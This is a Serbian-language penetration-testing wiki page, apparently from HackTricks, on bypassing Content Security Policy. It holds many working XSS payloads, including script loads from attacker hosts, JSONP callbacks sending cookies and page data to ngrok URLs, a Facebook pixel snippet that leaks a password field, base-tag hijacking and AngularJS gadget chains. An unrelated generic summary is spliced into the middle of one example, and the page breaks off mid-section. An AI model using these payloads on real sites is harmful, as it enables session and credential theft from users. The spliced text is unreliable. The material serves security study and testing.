# Bypassovanje politike bezbednosti sadržaja (CSP)

<details>

<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Drugi načini podrške HackTricks-u:

* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

</details>

<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>

Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

**Uvidi u hakovanje**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

**Najnovije najave**\
Ostanite informisani o najnovijim nagradama za pronalaženje bagova i bitnim ažuriranjima platformi

**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!

## Šta je CSP

Politika bezbednosti sadržaja (CSP) je prepoznata kao tehnologija pregledača, pretežno usmerena na **zaštitu od napada poput skriptovanja preko različitih sajtova (XSS)**. Funkcioniše tako što definiše i detaljno opisuje putanje i izvore sa kojih pregledač može bezbedno učitati resurse. Ovi resursi obuhvataju različite elemente poput slika, okvira i JavaScript-a. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa istog domena (self), uključujući i inline resurse i izvršavanje koda u obliku stringa putem funkcija poput `eval`, `setTimeout` ili `setInterval`.

Implementacija CSP-a se vrši putem **odgovarajućih zaglavlja** ili uključivanjem **meta elemenata u HTML stranicu**. Pregledači proaktivno sprovode ove odredbe i odmah blokiraju bilo kakva otkrivena kršenja.

* Implementirano putem zaglavlja odgovora:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
* Implementirano putem meta oznake:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Zaglavlja

CSP može biti sproveden ili praćen korišćenjem ovih zaglavlja:

* `Content-Security-Policy`: Sprovodi CSP; pregledač blokira svako kršenje.
* `Content-Security-Policy-Report-Only`: Koristi se za praćenje; prijavljuje kršenja bez blokiranja. Idealno za testiranje u okruženjima pre proizvodnje.

### Definisanje Resursa

CSP ograničava poreklo za učitavanje kako aktivnog tako i pasivnog sadržaja, kontrolišući aspekte poput izvršavanja inline JavaScript-a i korišćenja `eval()`. Primer politike je:
```bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Direktive

* **script-src**: Dozvoljava određene izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute putem događaja ili XSLT stilova.
* **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada određene direktive za preuzimanje nisu prisutne.
* **child-src**: Specificira dozvoljene resurse za web radnike i ugrađene sadržaje okvira.
* **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse poput fetch, WebSocket, XMLHttpRequest.
* **frame-src**: Ograničava URL-ove za okvire.
* **frame-ancestors**: Specificira koje izvore mogu ugraditi trenutnu stranicu, primenljivo na elemente poput `<frame>`, `<iframe>`, `<object>`, `<embed>` i `<applet>`.
* **img-src**: Definiše dozvoljene izvore za slike.
* **font-src**: Specificira validne izvore za fontove učitane koristeći `@font-face`.
* **manifest-src**: Definiše dozvoljene izvore fajlova manifesta aplikacije.
* **media-src**: Definiše dozvoljene izvore za učitavanje medijskih objekata.
* **object-src**: Definiše dozvoljene izvore za elemente `<object>`, `<embed>` i `<applet>`.
* **base-uri**: Specificira dozvoljene URL-ove za učitavanje koristeći elemente `<base>`.
* **form-action**: Navodi validne endpointe za podnošenje formi.
* **plugin-types**: Ograničava mime tipove koje stranica može pozvati.
* **upgrade-insecure-requests**: Naređuje pregledačima da prepišu HTTP URL-ove u HTTPS.
* **sandbox**: Primenjuje ograničenja slična atributu sandbox `<iframe>`.
* **report-to**: Specificira grupu kojoj će izveštaj biti poslat ako je politika prekršena.
* **worker-src**: Specificira validne izvore za Worker, SharedWorker ili ServiceWorker skripte.
* **prefetch-src**: Specificira validne izvore za resurse koji će biti preuzeti ili predpreuzeti.
* **navigate-to**: Ograničava URL-ove na koje dokument može navigirati na bilo koji način (a, forma, window.location, window.open, itd.)

### Izvori

* `*`: Dozvoljava sve URL-ove osim onih sa šemama `data:`, `blob:`, `filesystem:`.
* `'self'`: Dozvoljava učitavanje sa istog domena.
* `'data'`: Dozvoljava resurse da se učitavaju putem data šeme (npr. Base64 kodirane slike).
* `'none'`: Blokira učitavanje sa bilo kog izvora.
* `'unsafe-eval'`: Dozvoljava korišćenje `eval()` i sličnih metoda, nije preporučljivo iz sigurnosnih razloga.
* `'unsafe-hashes'`: Omogućava specifične inline event handlere.
* `'unsafe-inline'`: Dozvoljava korišćenje inline resursa poput inline `<script>` ili `<style>`, nije preporučljivo iz sigurnosnih razloga.
* `'nonce'`: Lista dozvoljenih specifičnih inline skripti koristeći kriptografski nonce (broj korišćen jednom).
* Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćeni nonce unutar stranice sa `doc.defaultView.top.document.querySelector("[nonce]")` i zatim ga ponovo koristiti za učitavanje zlonamerne skripte (ako je korišćen strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:

<details>

<summary>Učitaj skriptu ponovnim korišćenjem nonce-a</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
</details>

* `'sha256-<hash>'`: Whitelists scripts with a specific sha256 hash.
* `'strict-dynamic'`: Allows loading scripts from any source if it has been whitelisted by a nonce or hash.
* `'host'`: Specifies a specific host, like `example.com`.
* `https:`: Restricts URLs to those that use HTTPS.
* `blob:`: Allows resources to be loaded from Blob URLs (e.g., Blob URLs created via JavaScript).
* `filesystem:`: Allows resources to be loaded from the filesystem.
* `'report-sample'`: Includes a sample of the violating code in the violation report (useful for debugging).
* `'strict-origin'`: Similar to 'self' but ensures the protocol security level of the sources matches the document (only secure origins can load resources from secure origins).
* `'strict-origin-when-cross-origin'`: Sends full URLs when making same-origin requests but only sends the origin when the request is cross-origin.
* `'unsafe-allow-redirects'`: Allows resources to be loaded that will immediately redirect to another resource. Not recommended as it weakens security.

## Neskerećena pravila CSP

### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Radni payload: `"/><script>alert(1);</script>`

#### self + 'unsafe-inline' putem Iframe-ova

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
{% endcontent-ref %}

### 'unsafe-eval'

{% hint style="danger" %}
Ovo ne funkcioniše, za više informacija [**proverite ovo**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
{% endhint %}
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Radni payload:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic

Ako na neki način možete da naterate **dozvoljeni JS kod da kreira novi tag skripte** u DOM-u sa vašim JS kodom, jer dozvoljeni skript kreira, **novi tag skripte će biti dozvoljen za izvršavanje**.

### Zvezdica (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Radni payload:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Nedostatak object-src i default-src

{% hint style="danger" %}
**Izgleda da ovo više ne funkcioniše**
{% endhint %}
```yaml
Content-Security-Policy: script-src 'self' ;
```
Radni payloadi:
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Postavljanje datoteka + 'self'
```yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;
```
Ako možete da otpremite JS fajl, možete zaobići ovaj CSP:

Radna payload:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Međutim, vrlo je verovatno da server **validira** otpremljeni fajl i dozvoljava vam samo da **otprenete određenu vrstu fajlova**.

Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** fajla koristeći ekstenziju koju server prihvata (na primer: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip fajla na osnovu ekstenzije** i pregledači poput Chrome-a će **odbiti da izvrše Javascript** kod unutar nečega što bi trebalo da bude slika. "Na sreću", postoje greške. Na primer, iz jednog CTF-a sam naučio da **Apache ne prepoznaje** ekstenziju _**.wave**_, stoga je ne servira sa **MIME tipom kao audio/\***.

Odavde, ako pronađete XSS i mogućnost otpremanja fajla, i uspete da pronađete **pogrešno tumačenu ekstenziju**, možete pokušati da otpremite fajl sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava tačan format otpremljenog fajla, kreirajte poliglot ([neki primeri poliglota ovde](https://github.com/Polydet/polyglot-database)).

### Forma-akcija

Ako nije moguće ubaciti JS, još uvek možete pokušati da eksfiltrirate na primer kredencijale **ubacivanjem akcije forme** (i možda očekujući da menadžeri lozinki automatski popune lozinke). Možete pronaći [**primer u ovom izveštaju**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Takođe, primetite da `default-src` ne pokriva akcije formi.

### Endpozicije trećih strana + ('unsafe-eval')

{% hint style="warning" %}
Za neke od sledećih payloada **`unsafe-eval` nije čak ni potreban**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Učitajte ranjivu verziju angulara i izvršite proizvoljni JS:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloadi koji koriste Angular + biblioteku sa funkcijama koje vraćaju `window` objekat ([proverite ovaj post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):

{% hint style="info" %}
Post pokazuje da biste mogli **učitati** sve **biblioteke** sa `cdn.cloudflare.com` (ili bilo kojeg drugog dozvoljenog repozitorijuma JS biblioteka), izvršiti sve dodate funkcije iz svake biblioteke, i proveriti **koje funkcije iz kojih biblioteka vraćaju `window` objekat**.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
```
Angular XSS iz imena klase:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Zloupotreba google recaptcha JS koda

Prema [**ovom CTF writeup-u**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) možete zloupotrebiti [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) unutar CSP-a da biste izvršili proizvoljan JS kod zaobići CSP:
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Više [**payloada iz ovog članka**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
#### Zloupotreba www.google.com za otvoreno preusmeravanje

Sledeći URL preusmerava na example.com (od [ovde](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Zloupotreba \*.google.com/script.google.com

Moguće je zloupotrebiti Google Apps Script kako bi se primile informacije na stranici unutar script.google.com. Kao što je [uradjeno u ovom izveštaju](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).

### Endpoziti treće strane + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Scenariji poput ovog gde je `script-src` postavljen na `self` i određeni domen koji je dodat na belu listu mogu biti zaobiđeni korišćenjem JSONP-a. JSONP endpointi dozvoljavaju nesigurne povratne metode koje omogućavaju napadaču da izvrši XSS, radno opterećenje:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```

```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **sadrži spremne JSONP endpointove za CSP zaobilaženje različitih veb lokacija.**

Ista ranjivost će se pojaviti ako **pouzdani endpoint sadrži otvoreno preusmeravanje** jer ako je početni endpoint pouzdan, preusmeravanja su pouzdana.

### Zloupotrebe trećih strana

Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana koje su dozvoljene negde u CSP-u, a mogu se zloupotrebiti kako bi se ili eksfiltrirali podaci ili izvršio JavaScript kod. Neke od ovih trećih strana su:

| Entitet           | Dozvoljeni domen                              | Mogućnosti   |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook          | www.facebook.com, \*.facebook.com            | Eksfiltracija |
| Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Eksfiltracija |
| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net            | Izvršavanje   |
| Amazon CloudFront | \*.cloudfront.net                            | Eksfiltracija, Izvršavanje  |
| Amazon AWS        | \*.amazonaws.com                             | Eksfiltracija, Izvršavanje  |
| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Eksfiltracija, Izvršavanje  |
| Salesforce Heroku | \*.herokuapp.com                             | Eksfiltracija, Izvršavanje  |
| Google Firebase   | \*.firebaseapp.com                           | Eksfiltracija, Izvršavanje  |

Ako pronađete neki od dozvoljenih domena u CSP-u vašeg cilja, postoji mogućnost da možete zaobići CSP registracijom na uslugu treće strane i, ili eksfiltrirati podatke ka toj usluzi ili izvršiti kod.

Na primer, ako pronađete sledeći CSP:
```
Content-Security-Policy​: default-src 'self’ www.facebook.com;​
```
### Bypassing Content Security Policy (CSP)

---

#### Introduction

Content Security Policy (CSP) je mehanizam bezbednosti koji pomaže u zaštiti od XSS napada. CSP definiše koje vrste resursa (kao što su skripte, slike, stilovi itd.) mogu biti učitane na veb stranici. Međutim, postoje načini za zaobilaženje CSP-a kako bi se omogućilo izvršavanje zabranjenih operacija.

#### Metode zaobilaženja CSP-a

1. **Inline JavaScript**: CSP može zabraniti inline JavaScript kôd, ali postoje načini da se ovaj mehanizam zaobiđe. Na primer, korišćenjem događaja kao što su `onclick` ili `onmouseover` može se izvršiti JavaScript kôd direktno na stranici.

2. **External Resources**: CSP može ograničiti učitavanje resursa sa spoljnih lokacija. Međutim, korišćenjem dozvoljenih domena ili CDN-ova, moguće je učitati resurse sa spoljnih lokacija.

3. **Data URI Scheme**: Korišćenjem Data URI Scheme-a, moguće je ugraditi resurse direktno u HTML kôd, zaobilazeći tako CSP ograničenja.

4. **Unsafe Inline**: Postavka `unsafe-inline` u CSP pravilu omogućava izvršavanje inline skripti i stilova, iako se ne preporučuje zbog sigurnosnih rizika.

#### Zaključak

Iako je CSP moćan alat za zaštitu veb aplikacija od XSS napada, važno je razumeti potencijalne načine zaobilaženja kako bi se osigurala potpuna bezbednost. Redovno testiranje CSP pravila i implementacija dodatnih sigurnosnih mera su ključni koraci u održavanju sigurne veb aplikacije.
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
Treba da možete da eksfiltrirate podatke, slično kao što je to uvek rađeno sa [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). U ovom slučaju, pratite ove opšte korake:

1. Kreirajte Facebook Developer nalog ovde.
2. Napravite novu "Facebook Login" aplikaciju i izaberite "Website".
3. Idite na "Settings -> Basic" i dobijte svoj "App ID".
4. Na ciljnom sajtu sa kog želite da eksfiltrirate podatke, možete to uraditi direktno koristeći Facebook SDK uređaj "fbq" putem "customEvent" i podataka za prenos.
5. Idite na svoju aplikaciju "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se pronaći na URL sličnom ovom: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Izaberite karticu "Test Events" da biste videli događaje koje šalje "vaš" veb sajt.

Zatim, na strani žrtve, izvršite sledeći kod da biste inicijalizovali Facebook praćenje piksela da pokazuje ka aplikaciji napadača na Facebook developer nalogu app-id i izdajte prilagođeni događaj ovako:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
### Bypass putem RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>

Pored pomenutog preusmeravanja za zaobilaženje ograničenja putanje, postoji još jedna tehnika nazvana Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.

Na primer, ako CSP dozvoljava putanju `https://example.com/scripts/react/`, može se zaobići na sledeći način:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Browser će konačno učitati `https://example.com/scripts/angular/angular.js`.

Ovo funkcioniše jer za preglednik učitavate datoteku nazvanu `..%2fangular%2fangular.js` smeštenu pod `https://example.com/scripts/react/`, što je u skladu sa CSP.

Zatim će je dekodirati, efektivno zahtevajući `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno sa `https://example.com/scripts/angular/angular.js`.

**Iskorišćavanjem ove neusaglašenosti u tumačenju URL-a između preglednika i servera, pravila putanje mogu biti zaobiđena**.

Rešenje je ne tretirati `%2f` kao `/` na serverskoj strani, osiguravajući dosledno tumačenje između preglednika i servera kako bi se izbegao ovaj problem.

Online Primer:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)

### Izvršavanje JS preko Iframe-a

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### nedostaje **base-uri**

Ako nedostaje direktiva **base-uri** možete je zloupotrebiti da biste izvršili [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).

Osim toga, ako **stranica učitava skriptu koristeći relativnu putanju** (kao što je `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da biste je **učitali** sa **vašeg servera postižući XSS.**\
Ako je ranjiva stranica učitana sa **httpS**, koristite httpS URL u base.
```html
<base href="https://www.attacker.com/">
```
### AngularJS događaji

Specifična politika poznata kao Politika bezbednosti sadržaja (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na nativni objekat događaja pregledača. Ovaj `$event` objekat može biti iskorišćen da se zaobiđe CSP. Posebno, u Chrome-u, `$event/event` objekat poseduje atribut `path`, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je `window` objekat neizbežno pozicioniran na kraju. Ova struktura je ključna za taktike bekstva iz peska.

Usmeravanjem ovog niza ka filteru `orderBy`, moguće je iterirati preko njega, iskorišćavajući terminalni element (objekat `window`) da pokrene globalnu funkciju poput `alert()`. Demonstrirani isečak koda ispod objašnjava ovaj proces:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Ovaj odlomak ističe upotrebu `ng-focus` direktive za pokretanje događaja, korišćenje `$event.path|orderBy` za manipulaciju `path` niza, i iskorišćavanje `window` objekta za izvršavanje `alert()` funkcije, čime se otkriva `document.cookie`.

**Pronađite druge Angular zaobilaze na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

### AngularJS i belački domen
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
### Bypassing CSP by Invoking Callback Functions

CSP politika koja beleži domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivom povratnih funkcija i određenih ranjivih klasa. Više informacija o ovoj tehnici možete pronaći u detaljnom vodiču dostupnom na ovom [git repozitorijumu](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).

Radni payloadi:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
### Bypass preko preusmeravanja

Šta se dešava kada CSP naiđe na preusmeravanje na serverskoj strani? Ako preusmeravanje vodi ka drugom poreklu koje nije dozvoljeno, i dalje će ne uspeti.

Međutim, prema opisu u [CSP specifikaciji 4.2.2.3. Putanje i preusmeravanja](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ako preusmeravanje vodi ka drugoj putanji, može zaobići originalna ograničenja.

Evo primera:
```html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
Ako je CSP postavljen na `https://www.google.com/a/b/c/d`, s obzirom da se putanja uzima u obzir, i skripte `/test` i `/a/test` će biti blokirane od strane CSP.

Međutim, konačni `http://localhost:5555/301` će biti **preusmeren na serverskoj strani na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Budući da je u pitanju preusmerenje, **putanja se ne uzima u obzir**, i **skripta može biti učitana**, čime se zaobilazi ograničenje putanje.

Sa ovim preusmerenjem, čak i ako je putanja potpuno navedena, i dalje će biti zaobiđena.

Stoga, najbolje rešenje je osigurati da veb lokacija nema otvorene ranjivosti na preusmeravanje i da ne postoje domeni koji mogu biti iskorišćeni u pravilima CSP.

### Zaobiđite CSP pomoću visećeg markupa

Pročitajte [ovde](../dangling-markup-html-scriptless-injection/).

### 'unsafe-inline'; img-src \*; putem XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možete koristiti na veb stranici bilo koju sliku sa bilo kog resursa.

Ovu CSP možete zaobići eksfiltrirajući podatke putem slika (u ovom slučaju XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavu putem slike):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
Možete zloupotrebiti ovu konfiguraciju da **učitate JavaScript kod ubačen unutar slike**. Na primer, ako stranica dozvoljava učitavanje slika sa Twittera. Možete **napraviti** **specijalnu sliku**, **učitati** je na Twitter i zloupotrebiti "**unsafe-inline**" da **izvršite** JS kod (kao redovan XSS) koji će **učitati** sliku, **izvući** JS iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

### Sa Servisnim Radnicima

Funkcija **`importScripts`** servisnih radnika nije ograničena CSP-om:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}

### Umetanje Politike

**Istraživanje:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)

#### Chrome

Ako je **parametar** koji ste poslali **zalepljen unutar** **deklaracije** **politike**, tada možete **izmeniti** **politiku** na način koji je **beskoristan**. Možete **dozvoliti skript 'unsafe-inline'** sa bilo kojim od ovih prelaza:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Zato što će ovaj direktiv **prepisati postojeće direktive script-src**.\
Primer možete pronaći ovde: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)

#### Edge

U Edge-u je mnogo jednostavnije. Ako možete dodati u CSP samo ovo: **`;_`** **Edge** će **odbaciti** ceo **policy**.\
Primer: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)

### img-src \*; putem XSS (iframe) - Napad vremenskim usklađivanjem

Primetite nedostatak direktive `'unsafe-inline'`\
Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** putem **XSS** sa `<iframe`. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite izvući informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako na neki način možete **kontrolisati vreme potrebno za učitavanje stranice** možete izvući potrebne informacije.

